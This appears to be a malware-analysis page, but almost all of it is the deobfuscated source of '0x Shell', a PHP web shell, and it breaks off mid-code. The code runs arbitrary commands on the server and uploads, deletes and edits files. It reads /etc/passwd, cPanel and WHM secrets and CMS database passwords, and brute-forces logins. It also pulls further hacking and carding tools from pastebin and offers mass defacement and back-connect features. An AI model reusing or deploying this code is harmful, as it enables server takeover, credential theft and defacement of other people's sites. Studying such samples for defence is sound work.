PHP Malware Analysis

del.php

md5: d23fb21a4944d44d199f04304051a2db

Jump to:

Screenshot


Attributes

Emails

Encoding

Environment

Execution

Files

Input

Title

URLs


Deobfuscated PHP code

<?php

// 0x1999 Private Shell
// Use your own risk
// Hard coded by 0x1999
// Start Bots Locked
if (strpos($_SERVER['HTTP_USER_AGENT'], 'Google') !== false) {
    header('HTTP/1.0 404 Not Found');
    exit;
}
// End //Bots Locked
// Start configuration
$shell_name = '0x Shell';
$shell_slogan = 'The Next JanCox Shell';
$shell_version = '1.1';
$shell_bypass_security = '0';
$show_error = "0";
@session_start();
@ini_set('max_execution_time', 0);
@ini_set('output_buffering', 0);
// @ini_set("allow_url_fopen", 1);
// @ini_set("allow_url_include", 1);
@set_time_limit(0);
// @set_magic_quotes_runtime(0);
// End configuration
// start init
if (true) {
    @error_reporting(0);
    @error_log(0);
    @ini_set('error_log', null);
    @ini_set('log_errors', 0);
    @ini_set('display_errors', 0);
} else {
    ini_set('display_errors', 1);
    ini_set('display_startup_errors', 1);
    error_reporting(E_ALL);
}
if (!function_exists('posix_getegid')) {
    $user = @get_current_user();
    $uid = @getmyuid();
    $gid = @getmygid();
    $group = "?";
} else {
    $uid = @posix_getpwuid(posix_geteuid());
    $gid = @posix_getgrgid(posix_getegid());
    $user = $uid['name'];
    $uid = $uid['uid'];
    $group = $gid['name'];
    $gid = $gid['gid'];
}
if (@is_dir("/home/{$user}/public_html/")) {
    $server_type = "public_html";
} elseif (@is_dir("/var/www/vhosts/")) {
    $server_type = "vhost";
} else {
    $server_type = "unknown";
}
//end init
//start config list
$ext = array("v1", "v2", "v3", "wp", "WP", "blog", "client", "clients", "forum", "forums", "home", "new", "old", "site", "portal", "test", "demo", "wordpress", "joomla", "beta", "news", "main", "shop", "mage", "magento", "sites", "cms", "secure", "support", "panel", "public");
$configtype = array("/wp-config.php" => "Wordpress", "/config/koneksi.php" => "Lokomedia", "/forum/config.php" => "phpBB", "/sites/default/settings.php" => "Drupal", "/config/settings.inc.php" => "PrestaShop", "/app/etc/local.xml" => "Magento", "/admin/config.php" => "OpenCart", "/application/config/database.php" => "Ellislab", "/configuration.php" => "Joomla", "/submitticket.php" => "WHMCS", "/config.php" => "OtherConfig", "/db.php" => "DB", "/db.inc.php" => "DBInc", "/database.php" => "Database", "/includes/config.php" => "Vbulletin", "/db/config.php" => "DBConfig");
//end config list
//start head process
if (isset($_GET['file']) && $_GET['file'] != '' && $_GET['act'] == 'download') {
    @ob_clean();
    $file = $_GET['file'];
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="' . basename($file) . '"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($file));
    readfile($file);
    exit;
}
if (isset($_GET['dir']) && $_GET['dir'] != "") {
    $dir = $_GET['dir'];
    chdir($_GET['dir']);
} else {
    $dir = getcwd();
}
if (isset($_POST['upload'])) {
    if (@copy($_FILES['0xfile']['tmp_name'], "{$dir}/" . $_FILES['0xfile']['name'] . "")) {
        $actx = "<font color=lime>Uploaded!</font> at <i><b>{$dir}/" . $_FILES['0xfile']['name'] . "</b></i>";
    } else {
        $actx = "<font color=red>failed to upload file</font>";
    }
} else {
    $actx = "";
}
//end head process
?>
	<!DOCTYPE html>
	<html>
	<style stype="text/css">
		@import url(https://fonts.googleapis.com/css?family=Abel|Baumans);
		body {
			background: #101010;
			color: #f2f2f2;
			font-family: Abel;
			font-size: 12px;
		}

		body a {
			color: #3467BA;
			text-decoration: none;
		}

		body a:hover {
			text-decoration: underline;
		}

		#main_content {
			border: 1px solid #5C7296;
			overflow: hidden;
			width: 1000px;
			height: auto;
			padding: 15px;
			margin: 0 auto;
			background: #0A0A0A;
			border-radius: 6px;
			-moz-border-radius: 6px;
			-webkit-border-radius: 6px;
		}

		.enabled {
			color: #7ACC29;
		}

		.enabled a {
			color: #7ACC29;
			font-weight: normal;
		}

		.disabled {
			color: #CC0000;
		}

		.TableHeader_Name {
			width: 400px;
			padding: 0px 0px 0px 5px;
			height: 25px;
			font-family: Abel;
			background-color: #282828;
			border-top-left-radius: 4px;
			-moz-border-top-left-radius: 4px;
			-webkit-border-top-left-radius: 4px;
		}

		.TableHeader {
			width: 100px;
			height: 25px;
			font-family: Abel;
			text-align: center;
			background-color: #282828;
		}

		.TableHeaderoptions {
			padding: 0px 0px 0px 15px;
			width: 200px;
			height: 25px;
			font-family: Abel;
			background-color: #282828;
			border-top-right-radius: 4px;
			-moz-border-top-right-radius: 4px;
			-webkit-border-top-right-radius: 4px;
		}

		.TableLast {
			padding: 0px 0px 0px 15px;
			width: 200px;
			height: 25px;
			font-family: Abel;
			background-color: #282828;
			border-top-right-radius: 4px;
			-moz-border-top-right-radius: 4px;
			-webkit-border-top-right-radius: 4px;
		}

		.filesize {
			color: green;
			text-align: center;
		}

		.filenames a {
			font-weight: normal;
			text-decoration: none;
		}

		.filenames a:hover {
			text-decoration: underline;
		}

		.filetr {
			background-color: #080808;
		}

		.filetr:hover {
			background-color: #282828;
		}

		#options {
			font-weight: 200;
			font-family: Abel;
			margin-left: 10px;
			display: block;
		}

		#title {
			font-size: 25px;
			font-family: arial;
			display: block;
			padding: 15px 0px 0px 0px;
		}

		.box {
			padding: 10px;
			background-color: #292929;
			border: 1px solid #3467BA;
			height: auto;
			width: 970;
			border-radius: 6px;
			-moz-border-radius: 6px;
			-webkit-border-radius: 6px;
		}

		.sembunyi {
			display: none;
			padding: 0;
			margin: 0;
		}

		textarea {
			background-color: #010101;
			color: #f2f2f2;
			border: 1px solid #3467BA;
			outline: none;
			font-size: 11px;
			border-radius: 3px;
			-moz-border-radius: 3px;
			-webkit-border-radius: 3px;
			padding: 5px;
			width: 970px;
			height: 400px;
		}

		input[type=text],
		input[type=password],
		input[type=submit],
		input[type=button] {
			background: #010101;
			color: #f2f2f2;
			margin: 0 4px;
			border: 1px solid #3467BA;
			outline: none;
			font-size: 11px;
			border-radius: 3px;
			-moz-border-radius: 3px;
			-webkit-border-radius: 3px;
			font-family: Abel;
			font-size: 12px;
		}

		.viewfile {
			background: #EDECEB;
			color: #000000;
			margin: 4px 2px;
			padding: 8px;
			border-radius: 3px;
			-moz-border-radius: 3px;
			-webkit-border-radius: 3px;
			border: 1px solid #3467BA;
		}

		select {
			color: #f2f2f2;
			padding: 0;
			margin: 0;
			border: 1px solid #3467BA;
			outline: none;
			font-size: 11px;
			border-radius: 3px;
			-moz-border-radius: 3px;
			-webkit-border-radius: 3px;
			background: #010101;
			overflow: hidden;
			font-family: Abel;
			font-size: 12px;
		}

		input[type="file"] {
			color: #f2f2f2;
			padding: 0;
			margin: 0;
			border: 1px solid #3467BA;
			outline: none;
			font-size: 11px;
			border-radius: 3px;
			-moz-border-radius: 3px;
			-webkit-border-radius: 3px;
			background: #010101;
			overflow: hidden;
			font-family: Abel;
			font-size: 12px;
		}

		.ndelik {
			display: none;
			padding: 0;
			margin: 0;
		}

		form,
		table {
			/*display: inline;*/
			margin: 0px;
			padding: 0px;
		}
	</style>

	<script type="text/javascript">
		function tukar(lama, baru) {
			document.getElementById(lama).style.display = 'none';
			document.getElementById(baru).style.display = 'block';
		}
	</script>

	<link href="http://vignette2.wikia.nocookie.net/regularshow/images/f/fc/Emoticones_-_Pacman.png/revision/latest?cb=20160107170905&amp;path-prefix=es" rel="icon" type="image/x-icon">

	<?php 
$ling = "http://" . $_SERVER['SERVER_NAME'] . "" . $_SERVER['PHP_SELF'] . "?create";
$dir = str_replace("\\", "/", $dir);
$scdir = explode("/", $dir);
$ds = @ini_get("disable_functions");
$show_ds = !empty($ds) ? "<input type='text' name='searchterm' size='30'style='background-color: rgb(41, 41, 41);border: 1px solid rgb(41, 41, 41);height: 12px;color: red;width: 385px;'value='{$ds}'readonly/>" : "<font color=lime>NONE</font>";
echo "<title>{$shell_name}</title>";
if (isset($_GET['create'])) {
    function CreateTools($names, $lokasi)
    {
        if ($_GET['create'] == $names) {
            $a = "" . $_SERVER['SERVER_NAME'] . "";
            $b = dirname($_SERVER['PHP_SELF']);
            $c = "/0x1/" . $names . ".php";
            if (file_exists('0x1/' . $names . '.php')) {
                echo '<script type="text/javascript">alert("Done");window.location.href = "0x1/' . $names . '.php";</script> ';
            } else {
                mkdir("0x1", 0777);
                file_put_contents('0x1/' . $names . '.php', file_get_contents($lokasi));
                echo ' <script type="text/javascript">alert("Done");window.location.href = "0x1/' . $names . '.php";</script> ';
            }
        }
    }
    CreateTools("wso", "http://pastebin.com/raw/3eh3Gej2");
    CreateTools("adminerhttps://www.adminer.org/static/download/4.2.5/adminer-4.2.5.php");
    CreateTools("maildump", "http://pastebin.com/raw/JLjrTs40");
    CreateTools("injection", "http://pastebin.com/raw/nxxL8c1f");
    CreateTools("promailerv2", "http://pastebin.com/raw/Rk9v6eSq");
    CreateTools("gamestopceker", "http://pastebin.com/raw/QSnw1JXV");
    CreateTools("bukapalapak", "http://pastebin.com/raw/6CB8krDi");
    CreateTools("tokopedia", "http://pastebin.com/dvhzWgby");
    CreateTools("encodedecode", "http://pastebin.com/raw/wqB3G5eZ");
    CreateTools("mailer", "http://pastebin.com/raw/9yu1DmJj");
    CreateTools("r57", "http://pastebin.com/raw/G2VEDunW");
    CreateTools("tokenpp", "http://pastebin.com/raw/72xgmtPL");
    CreateTools("extractor", "http://pastebin.com/raw/jQnMFHBL");
    CreateTools("bh", "http://pastebin.com/raw/3L2ESWeu");
    CreateTools("dhanus", "http://pastebin.com/raw/v4xGus6X");
}
//Start Function
function permissions($file)
{
    $perms = @fileperms($file);
    if (($perms & 0xc000) == 0xc000) {
        $info = 's';
    } elseif (($perms & 0xa000) == 0xa000) {
        $info = 'l';
    } elseif (($perms & 0x8000) == 0x8000) {
        $info = '-';
    } elseif (($perms & 0x6000) == 0x6000) {
        $info = 'b';
    } elseif (($perms & 0x4000) == 0x4000) {
        $info = 'd';
    } elseif (($perms & 0x2000) == 0x2000) {
        $info = 'c';
    } elseif (($perms & 0x1000) == 0x1000) {
        $info = 'p';
    } else {
        $info = 'u';
    }
    $info .= $perms & 0x100 ? 'r' : '-';
    $info .= $perms & 0x80 ? 'w' : '-';
    $info .= $perms & 0x40 ? $perms & 0x800 ? 's' : 'x' : ($perms & 0x800 ? 'S' : '-');
    $info .= $perms & 0x20 ? 'r' : '-';
    $info .= $perms & 0x10 ? 'w' : '-';
    $info .= $perms & 0x8 ? $perms & 0x400 ? 's' : 'x' : ($perms & 0x400 ? 'S' : '-');
    $info .= $perms & 0x4 ? 'r' : '-';
    $info .= $perms & 0x2 ? 'w' : '-';
    $info .= $perms & 0x1 ? $perms & 0x200 ? 't' : 'x' : ($perms & 0x200 ? 'T' : '-');
    return $info;
}
function UrlLoop($url, $type)
{
    $urlArray = array();
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $result = curl_exec($ch);
    $regex = '|<a.*?href="(.*?)"|';
    preg_match_all($regex, $result, $parts);
    $links = $parts[1];
    foreach ($links as $link) {
        array_push($urlArray, $link);
    }
    curl_close($ch);
    foreach ($urlArray as $value) {
        $lol = "{$url}{$value}";
        if (preg_match("#{$type}#is", $lol)) {
            echo "{$lol}\r\n";
        }
    }
}
function anucurl($sites)
{
    $ch = curl_init($sites);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
    curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
    curl_setopt($ch, CURLOPT_COOKIESESSION, true);
    $data = curl_exec($ch);
    curl_close($ch);
    return $data;
}
function clearspace($text)
{
    return str_replace(" ", "_", $text);
}
function magicboom($text)
{
    if (!get_magic_quotes_gpc()) {
        return $text;
    }
    return stripslashes($text);
}
function ambilKata($param, $kata1, $kata2)
{
    if (strpos($param, $kata1) === false) {
        return false;
    }
    if (strpos($param, $kata2) === false) {
        return false;
    }
    $start = strpos($param, $kata1) + strlen($kata1);
    $end = strpos($param, $kata2, $start);
    $return = substr($param, $start, $end - $start);
    return $return;
}
function ambil_password($link)
{
    $pass = "";
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $link);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $ambil = curl_exec($ch);
    // $ambil = file_get_contents($link);
    if (preg_match("/WordPress/", $ambil)) {
        $pass .= ambilkata($ambil, "DB_PASSWORD', '", "'") . "\n";
    } elseif (preg_match("/JConfig|joomla/", $ambil)) {
        $pass .= ambilkata($ambil, "password = '", "'") . "\n";
    } elseif (preg_match("/cmsmember/", $ambil)) {
        $pass .= ambilkata($ambil, 'dbpasswd = "', '"') . "\n";
    } elseif (preg_match("/Magento|Mage_Core/", $ambil)) {
        $pass .= ambilkata($ambil, "<password><![CDATA[", "]]></password>") . "\n";
    } elseif (preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
        $pass .= ambilkata($ambil, 'password = "', '"') . "\n";
    } elseif (preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
        $pass .= ambilkata($ambil, "'DB_PASSWORD', '", "'") . "\n";
    } elseif (preg_match("/client/", $ambil)) {
        preg_match("/password=(.*)/", $ambil, $pass1);
        if (preg_match('/"/', $pass1[1])) {
            $pass1[1] = str_replace('"', "", $pass1[1]);
            $pass .= $pass1[1] . "\n";
        }
    } elseif (preg_match("/cc_encryption_hash/", $ambil)) {
        $pass .= ambilkata($ambil, "db_password = '", "'") . "\n";
    }
    return $pass;
}
function w($dir, $perm)
{
    if (!is_writable($dir)) {
        return "<font color=red>" . $perm . "</font>";
    } else {
        return "<font color=lime>" . $perm . "</font>";
    }
}
function cekjum($kentu)
{
    // $it = new RecursiveIteratorIterator($kentu,RecursiveDirectoryIterator::SKIP_DOTS);
    $it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($kentu));
    // if($it-> DirectoryIterator::isDot()){
    //     echo "cok";
    // }
    // $index = array_search('..',$it);
    // if($index !== FALSE){
    //     unset($it[$index]);
    // }
    foreach ($it as $filename) {
        $file = realpath(dirname($filename));
        if ($file == "..") {
            continue;
        }
        if (is_writable($filename)) {
            $perm = permissions($file);
            $perm = w($file, $perm);
            $permd = permissions($filename);
            $permd = w($filename, $permd);
            if (is_dir($filename)) {
                if (is_writable($file)) {
                    echo "[ D ] [{$perm}]\t\t<a href='?dir={$file}'>{$file}</a><font color='lime'>is writable</font><br>";
                }
            } else {
                if (is_writable($filename)) {
                    echo "[ F ] [{$permd}]\t\t<a href='?act=edit&dir={$file}&file={$filename}'>{$filename}</a><font color='lime'>is writable</font><br>";
                }
            }
        }
    }
}
function exe($cmd)
{
    if (function_exists('system')) {
        @ob_start();
        @system($cmd);
        $buff = @ob_get_contents();
        @ob_end_clean();
        return $buff;
    } elseif (function_exists('exec')) {
        @exec($cmd, $results);
        $buff = "";
        foreach ($results as $result) {
            $buff .= $result;
        }
        return $buff;
    } elseif (function_exists('passthru')) {
        @ob_start();
        @passthru($cmd);
        $buff = @ob_get_contents();
        @ob_end_clean();
        return $buff;
    } elseif (function_exists('shell_exec')) {
        $buff = @shell_exec($cmd);
        return $buff;
    }
}
//End Function
//start bypasser
// $etcpasswd = etcpasswd();
if ($_SESSION['etcpasswd']) {
    $etcpasswd = $_SESSION['etcpasswd'];
} else {
    $etcpasswd = @file_get_contents('/etc/passwd');
    if (!$etcpasswd) {
        $etcpasswd = exe('cat /etc/passwd');
    }
}
// end bypasser
/////////////////////////////////////
if (!$_SESSION["cekown"] == "pass") {
    $own = @file('/etc/trueuserowners');
    foreach ($own as $owns) {
        $exp = explode(": ", $owns);
        $string = trim(preg_replace('/\\s+/', ' ', $exp[1]));
        if ($string == $user) {
            $_SESSION["statusowner"] = "OWNER";
        }
        if ($exp[0] == $user) {
            $_SESSION["statusclientus"] = $exp[0];
            $_SESSION["statusclient"] = $exp[1];
        }
        $_SESSION["cekown"] = "pass";
    }
}
if ($_SESSION["statusowner"] == "OWNER") {
    $trueowner = $_SESSION["statusowner"];
    $trueowner = "<font color=lime>{$trueowner}</font>";
} else {
    $trueowner = "<font color=red>error</font>";
}
if ($_SESSION["statusclientus"] == $user) {
    $trueuser = $_SESSION["statusclient"];
    $trueuser = " <font color=lime>{$trueuser}</font>";
} else {
    $trueuser = "<font color=red>error</font>";
}
$sport = $_SERVER['SERVER_PORT'];
$d0mains = @file("/etc/named.conf");
$users = $etcpasswd;
if ($d0mains) {
    $count;
    foreach ($d0mains as $d0main) {
        if (@ereg("zone", $d0main)) {
            preg_match_all('#zone "(.*)"#', $d0main, $domains);
            flush();
            if (strlen(trim($domains[1][0])) > 2) {
                flush();
                $count++;
            }
        }
    }
    $count2 = $count / 2;
} else {
    $count2 = "??";
}
$sm = @ini_get(strtolower("safe_mode")) == 'on' ? "<font color=red>ON</font>" : "<font color=lime>OFF</font>";
echo "\r\n\t<body>\r\n\t<div id='main_content'><span id='title'><font face='Baumans'>{$shell_name}</font> </span><i>{$shell_slogan}</i><br><br><div class='box'>\r\n";
echo '
<table  cellspacing="0" cellpadding="0">
<colgroup>
<col style="width: 499px">
<col style="width: 599px">
</colgroup>
  <tr>
    <td nowrap>Server Name:' . php_uname() . '</td>
<td align="right"><form><div class="select-style">
<select onchange="if (this.value) window.open(this.value);">
   <option selected="selected" value=""> <i>Tools Creator </option>
   <option value="' . $ling . '=wso"><i>WSO 2.8.1</option>
</select>
<select onchange="if (this.value) window.open(this.value);">
   <option selected="selected" value=""> Tools Carder </option>
   <option value="' . $ling . '=maildump">Email Dumper</option>
   </select></div>
<noscript><input type="submit" value="Submit"></noscript>
</form></td>
  </tr>
  <tr>
    <td>User :<font color=lime>' . $user . '</font> (' . $uid . ') Group : <font color=lime>' . $group . '</font> (' . $gid . ') Owner : (' . $trueowner . ') UserOwner : (' . $trueuser . ')</td>
    <td align="right">';
if ($server_type == "public_html") {
    if (file_exists('/home/' . $user . '/.my.cnf')) {
        $cp = file_get_contents('/home/' . $user . '/.my.cnf');
        $cp = ambilkata($cp, 'password="', '"');
        echo 'Cpanel : Username <font color="lime">(</font>' . $user . '<font color="lime">)</font> Password <font color="lime">(</font>' . $cp . '<font color="lime">)</font>';
    }
}
echo '
    </td>
    </tr>
    <tr>
    <td>Server IP :<font color=lime>' . gethostbyname($_SERVER["HTTP_HOST"]) . '</font>  <span class="enabled"><a href="https://www.bing.com/search?q=IP:' . gethostbyname($_SERVER["HTTP_HOST"]) . '" target="_blank">[BING]</a></span> <span class="enabled"><a href="https://centralops.net/co/domaindossier.aspx?addr=' . gethostbyname($_SERVER["HTTP_HOST"]) . '&dom_whois=true&dom_dns=true&traceroute=true&net_whois=true&svc_scan=true" target="_blank">[Dossier]</a></span> | Port : <font color=lime>' . $sport . '</font> | Your IP: <font color=lime>' . $_SERVER["REMOTE_ADDR"] . '</font></td>
	<td align="right">';
if ($server_type == "public_html") {
    if (file_exists('/home/' . $user . '/.accesshash')) {
        $whm = file_get_contents('/home/' . $user . '/.accesshash');
        $whm = preg_replace('/\\s+/', '', $whm);
        echo '<input type="text" size="30" value="WHM ' . $user . ':' . $whm . '">';
    }
}
echo '
  </td>
  </tr>
  <tr>
    <td>Server Type : ' . $server_type . ' | Website :<font color=lime> ' . $count2 . ' </font> Domains</td>
  </tr>
  <tr>
    <td>Safe Mode: ' . $sm . '</td>
  </tr>
  <tr>
    <td>Disable Functions:' . $show_ds . '</td>
  </tr>
  <tr>
    <td>Server Software: ' . $_SERVER["SERVER_SOFTWARE"] . ' <span class="enabled"><a href="http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=' . $_SERVER["SERVER_SOFTWARE"] . '&filter_exploit_text=&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve=" target="_blank">[Exploit DB]</a></span>
	</td>
  </tr>
  <tr>
    <td>Directory : ';
foreach ($scdir as $c_dir => $cdir) {
    echo "<a href='?dir=";
    for ($i = 0; $i <= $c_dir; $i++) {
        echo $scdir[$i];
        if ($i != $c_dir) {
            echo "/";
        }
    }
    echo "'>{$cdir}</a>/";
}
echo "</td>\r\n\t<td align='right'><form method='post' enctype='multipart/form-data'><input type='file' name='0xfile'><input type='submit' value='upload' name='upload'></form></td>\r\n  </tr>\r\n  <tr>\r\n    <td><form method='post' action='?dir={$dir}&do=cmd' style='float: left;'>\r\n    Command :\r\n    <input type='text' size='30' height='10' name='cmd'><input type='submit' name='do_cmd' value='>>'>\r\n    </form><p></p>\r\n\t</td>\r\n\t<td align='right'>" . $actx . "</td>\r\n  </tr>\r\n</table></div>";
echo "<a href=\"?\">Home</a> / ";
echo "<a href='?dir=" . $dir . "&do=config'>Config</a> / ";
echo "<a href='?dir=" . $dir . "&do=jump'>Jump</a> / ";
echo "<a href='?dir=" . $dir . "&do=symlink'>Sym</a> / ";
echo "<a href='?dir=" . $dir . "&do=cpanel'>Cpanel</a> / ";
echo "<a href='?dir=" . $dir . "&do=symlink'>Sym</a> / ";
echo "<a href='?dir=" . $dir . "&do=mass_deface'>Mass</a> / ";
echo "<a href='?dir=" . $dir . "&do=mirror'>Mirror</a> / ";
echo "<a href='?dir=" . $dir . "&do=cgi'>Cgi</a> / ";
echo "<a href='?dir=" . $dir . "&do=bc'>BC</a> / ";
echo "<a href='?dir=" . $dir . "&do=about'>About</a> / ";
echo "<a href='?dir=" . $dir . "&do=serverinfo'>Server Info</a> / ";
echo "<a href='?do=deleteme'>Self Remove</a> / ";
echo "<a href='?dir=" . $dir . "&do=ndelikne'>Hidden Shell</a> / ";
echo "<a href='?dir=" . $dir . "&do=crp'>Config ResPass</a> / ";
echo "<a href='?dir=" . $dir . "&do=grabpass'>Config PassGrab</a> / ";
echo "<a href='?dir=" . $dir . "&do=hek'>Deface</a> / ";
echo "<a href='?dir=" . $dir . "&do=cpres'>Cpanel Reset</a> / ";
echo "<hr>";
/////////////////////////////////////
// if(isset($_GET['act']) && ($_GET['act'] == ''))
// START TOOLS SCRIPT
if (isset($_GET['act']) && $_GET['act'] == 'delete') {
    $delete = unlink($_GET['file']);
    if ($delete) {
        $act = "<script>window.location='?dir=" . $dir . "';</script>";
    } else {
        $act = "<font color=red>permission denied</font>";
    }
    echo $act;
} elseif (isset($_GET['act']) && $_GET['act'] == 'delete_dir') {
    function Delete($path)
    {
        $path = substr($path, -1) == '/' ? $path : $path . '/';
        $dh = opendir($path);
        while (($item = readdir($dh)) !== false) {
            $item = $path . $item;
            if (basename($item) == ".." || basename($item) == ".") {
                continue;
            }
            $type = filetype($item);
            if ($type == "dir") {
                Delete($item);
            } else {
                @unlink($item);
            }
        }
        closedir($dh);
        @rmdir($path);
    }
    $delete_dir = Delete($dir);
    $act = "<script>window.location='?dir=" . dirname($dir) . "';</script>";
    echo $act;
} elseif (isset($_POST['do_rename'])) {
    $rename = rename($_POST['oldname'], "{$dir}/" . htmlspecialchars($_POST['rename']) . "");
    if ($rename) {
        $act = "<script>window.location='?dir=" . $dir . "';</script>";
    } else {
        $act = "<font color=red>permission denied</font>";
    }
    echo "" . $act . "<br>";
} elseif (isset($_POST['dir_rename'])) {
    $dir_rename = rename($dir . "/" . $_POST['oldname'], "" . $dir . "/" . htmlspecialchars($_POST['fol_rename']) . "");
    if ($dir_rename) {
        $act = "<script>window.location='?dir=" . $dir . "';</script>";
    } else {
        $act = "<font color=red>permission denied</font>";
    }
    echo "" . $act . "<br>";
} elseif (isset($_GET['act']) && $_GET['act'] == 'newfolder') {
    if ($_POST['new_save_folder']) {
        $new_folder = $dir . '/' . htmlspecialchars($_POST['newfolder']);
        if (!mkdir($new_folder)) {
            $act = "<font color=red>permission denied</font>";
        } else {
            $act = "<script>window.location='?dir=" . $dir . "';</script>";
        }
    }
    echo $act;
} elseif (isset($_GET['act']) && $_GET['act'] == 'view') {
    if (is_file($_GET['file'])) {
        if (!isset($file)) {
            $file = magicboom($_GET['file']);
        }
        echo "Filename : <font color=lime>" . basename($_GET['file']) . "</font> [ <a href='?act=view&dir={$dir}&file=" . $_GET['file'] . "'><b>view</b></a> ] [ <a href='?act=edit&dir={$dir}&file=" . $_GET['file'] . "'>edit</a> ] [ <a href='?act=rename&dir={$dir}&file=" . $_GET['file'] . "'>rename</a> ] [ <a href='?act=download&dir={$dir}&file=" . $_GET['file'] . "'>download</a> ] [ <a href='?act=delete&dir={$dir}&file=" . $_GET['file'] . "'>delete</a> ]<br>";
        echo "<div class=\"viewfile\">";
        $file = wordwrap(@file_get_contents($file), "240", "\n");
        @highlight_string($file);
        echo "</div>";
    } elseif (is_dir($_GET['view'])) {
        echo showdir($dir, $prompt);
    }
} elseif (isset($_GET['do']) && $_GET['do'] == 'cpanel') {
    if ($_POST['crack']) {
        $usercp = explode("\r\n", $_POST['user_cp']);
        $passcp = explode("\r\n", $_POST['pass_cp']);
        $i = 0;
        foreach ($usercp as $ucp) {
            foreach ($passcp as $pcp) {
                if (@mysql_connect('localhost', $ucp, $pcp)) {
                    if ($_SESSION[$ucp] && $_SESSION[$pcp]) {
                    } else {
                        $_SESSION[$ucp] = "1";
                        $_SESSION[$pcp] = "1";
                        $i++;
                        echo "username (<font color=lime>{$ucp}</font>) password (<font color=lime>{$pcp}</font>)<br>";
                    }
                }
            }
            session_unset();
            session_destroy();
        }
        if ($i == 0) {
        } else {
            echo "<br>Nemu " . $i . " Cpanel by <font color=lime>0x1999</font>";
        }
    } elseif ($_POST['scanpass']) {
        echo "<center>\r\n    <form method='post'>\r\n    USER: <br>\r\n    <textarea style='width: 450px; height: 150px;' name='user_cp'>";
        $_usercp = $etcpasswd;
        preg_match_all("/(.*?):x:/", $_usercp, $u);
        foreach ($u[1] as $user_cp) {
            echo "{$user_cp}\n";
            // }
        }
        echo "</textarea><br>\r\n    PASS: <br>\r\n    <textarea style='width: 450px; height: 200px;' name='pass_cp'>";
        function cp_pass($dir)
        {
            $pass = "";
            $dira = scandir($dir);
            foreach ($dira as $dirb) {
                if (!is_file("{$dir}/{$dirb}")) {
                    continue;
                }
                $ambil = file_get_contents("{$dir}/{$dirb}");
                if (preg_match("/WordPress/", $ambil)) {
                    $pass .= ambilkata($ambil, "DB_PASSWORD', '", "'") . "\n";
                } elseif (preg_match("/JConfig|joomla/", $ambil)) {
                    $pass .= ambilkata($ambil, "password = '", "'") . "\n";
                } elseif (preg_match("/konekDB/", $ambil)) {
                    $pass .= ambilkata($ambil, "{$password} = '", "'") . "\n";
                } elseif (preg_match("/cmsmember/", $ambil)) {
                    $pass .= ambilkata($ambil, 'dbpasswd = "', '"') . "\n";
                } elseif (preg_match("/Magento|Mage_Core/", $ambil)) {
                    $pass .= ambilkata($ambil, "<password><![CDATA[", "]]></password>") . "\n";
                } elseif (preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
                    $pass .= ambilkata($ambil, 'password = "', '"') . "\n";
                } elseif (preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
                    $pass .= ambilkata($ambil, "'DB_PASSWORD', '", "'") . "\n";
                } elseif (preg_match("/client/", $ambil)) {
                    preg_match("/password=(.*)/", $ambil, $pass1);
                    if (preg_match('/"/', $pass1[1])) {
                        $pass1[1] = str_replace('"', "", $pass1[1]);
                        $pass .= $pass1[1] . "\n";
                    }
                } elseif (preg_match("/cc_encryption_hash/", $ambil)) {
                    $pass .= ambilkata($ambil, "db_password = '", "'") . "\n";
                }
            }
            echo $pass;
        }
        $cp_pass = cp_pass($dir);
        echo $cp_pass;
        echo "</textarea><br>\r\n    <input type='submit' name='crack' style='width: 450px;' value='Crack'>\r\n    </form>\r\n    <br></center>";
    } else {
        echo "<center>\r\n    <form method='post'>\r\n    USER: <br>\r\n    <textarea style='width: 450px; height: 150px;' name='user_cp'>";
        $_usercp = $etcpasswd;
        preg_match_all("/(.*?):x:/", $_usercp, $u);
        foreach ($u[1] as $user_cp) {
            echo "{$user_cp}\n";
            // }
        }
        echo "</textarea><br>\r\n    PASS: <br>\r\n    <textarea style='width: 450px; height: 200px;' name='pass_cp'></textarea><br>\r\n    <input type='submit' name='crack' style='width: 450px;' value='Crack'>\r\n    <input type='submit' name='scanpass' style='width: 450px;' value='Scan Password'>\r\n    </form>\r\n    <br></center>";
    }
} elseif (isset($_GET['do']) && $_GET['do'] == 'cgi') {
    echo "<center/><br/><b><font color=blue>+--==[ cgitelnet.v1  Bypass Exploit]==--+ </font></b><br><br>";
    mkdir('cgitelnet1', 0755);
    chdir('cgitelnet1');
    $kokdosya = ".htaccess";
    $dosya_adi = ".htaccess";
    $dosya = fopen($dosya_adi, 'w') or die("Dosya a&#231;&#305;lamad&#305;!");
    $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI\r\n\r\nAddType application/x-httpd-cgi .cin\r\n\r\nAddHandler cgi-script .cin\r\nAddHandler cgi-script .cin";
    fwrite($dosya, $metin);
    fclose($dosya);
